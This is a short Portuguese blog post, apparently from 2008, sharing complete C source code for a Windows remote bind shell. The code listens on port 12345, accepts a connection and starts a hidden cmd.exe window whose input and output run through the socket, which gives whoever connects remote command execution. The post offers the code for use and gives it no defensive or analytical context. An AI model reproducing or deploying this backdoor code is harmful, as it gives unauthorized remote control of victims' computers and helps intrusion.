maio 23 2008

Shell remota em C/C++

  • Autor: IphoneVicious em Programação
  • Sem Comentários. Seja o primeiro a comentar.
Shellzinha remota em C, para conexão, desenvolvida por $darkx -> LoL
#include <windows.h> // ZeroMemory()
#include <winsock2.h> // API do Winsock

#define PORTA 12345

int main()
{
WSADATA wsainfo;
SOCKET sock;
struct sockaddr_in addr;

STARTUPINFO ini_info;
PROCESS_INFORMATION proc_info;

if(WSAStartup(0x202,&wsainfo) == SOCKET_ERROR)
return 1;

if((sock = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,NULL,0)) == SOCKET_ERROR)
return 1;

addr.sin_family = AF_INET;
addr.sin_port = htons(PORTA);
addr.sin_addr.s_addr = INADDR_ANY;

if(bind(sock,(struct sockaddr*)&addr,sizeof(addr)) == SOCKET_ERROR)
return 1;

listen(sock,1);

if((sock = accept(sock,0,0)) == SOCKET_ERROR)
return 1;

ZeroMemory(&ini_info, sizeof(STARTUPINFO));
ZeroMemory(&proc_info, sizeof(PROCESS_INFORMATION));

ini_info.cb = sizeof(STARTUPINFO);
ini_info.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
ini_info.wShowWindow = SW_HIDE;
ini_info.hStdInput = ini_info.hStdOutput = ini_info.hStdError = (HANDLE)sock;

CreateProcess(NULL, “cmd.exe”, NULL, NULL, TRUE, 0, 0, NULL, &ini_info, &proc_info);

return 0;
}



DEIXE UM COMENTÁRIO

Subscrever

Subscreve o Blog



Publicidade

Comentários Recentes

  • shirley Balazs: Parabéns!! Informações de utilidade publica e de primeira, foi muito útil a mim.Obrigada!!
  • Jefferson Ferreira de brito: eu quero muito
  • thiago valente: Eu quero um para mim
  • Lucas martins balieiro: Eu não fiz o enem mesmo assim eu posso me inscrever no site essa é minha dúvida, só queme...
  • Francisca Marli Oliveira: quero saber quanto tenho no meu fgts

Links

Leitores Recentes

VALE O CLIQUE!

Site Seguro Ocioso

Divulgue o blog Infomaroto em seu site e tenha seu link ou banner aqui.
Blog Infomaroto